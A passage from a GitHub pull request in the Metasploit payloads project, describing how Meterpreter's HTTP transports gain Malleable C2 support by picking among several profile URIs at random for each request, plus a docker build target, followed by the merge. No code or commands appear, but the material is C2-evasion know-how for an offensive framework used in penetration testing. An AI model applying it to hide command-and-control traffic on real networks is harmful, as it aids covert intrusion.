of a single uri; ConfigParser and core_transport_add collect every
TLV_TYPE_C2_URI via getValues(); and HttpTransport.buildProfileUrl picks
one at random per request via Math.random. This avoids pasting the raw
"uri-a uri-b" string into the request URL, which produced a
space-corrupted HTTP request line. Both the config-block and runtime
transport-add paths are covered, and GET and POST both route through the
random selection.

Also add a `docker` target to java/Makefile that builds the payload
inside the rapid7/msf-ubuntu-x64-meterpreter image (no local JDK/Maven
needed), mounting only the metasploit-payloads checkout and chowning the
build artifacts back to the invoking user.
A profile's `set uri` may list several space-separated candidate URIs
(Cobalt Strike picks one at random per request), emitted as repeated
TLV_TYPE_C2_URI values. HttpRequestOptions now carries a STRTYPE* uris /
uri_count instead of a single uri (the base/default URL is just a
one-element array), and generate_uri picks one at random per request via
rand().

The change lives entirely in the shared HTTP code paths, so both the
winhttp and wininet transports are covered without duplication:
- get_http_options_from_tlv collects every TLV_TYPE_C2_URI into uris[]
  using a new packet_get_tlv_group_entry_n indexed group accessor
  (core.c/core.h).
- generate_uri (shared by both transports) picks a random candidate, and
  falls back to the default base URI when a verb config has none.
- http_options_set_single_uri / http_options_free_uris manage the base
  URI and cleanup; both winhttp and wininet configure paths and
  destroy_options use them.
- set_http_options_to_tlv emits one TLV_TYPE_C2_URI per candidate so
  transport-list reporting round-trips all of them.

@smcintyre-r7 smcintyre-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks OJ! We're going to merge this in and cut a pre-release of the gem to assist in our final testing before shipping the work publicly.

@smcintyre-r7 smcintyre-r7 merged commit 2c558e4 into rapid7:6.5 Jul 7, 2026
55 of 111 checks passed
@OJ OJ deleted the feature/mc2-all branch July 8, 2026 09:30
smcintyre-r7 added a commit that referenced this pull request Jul 8, 2026
Stageless PHP/Python/Java/Windows with Malleable C2 profile support
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants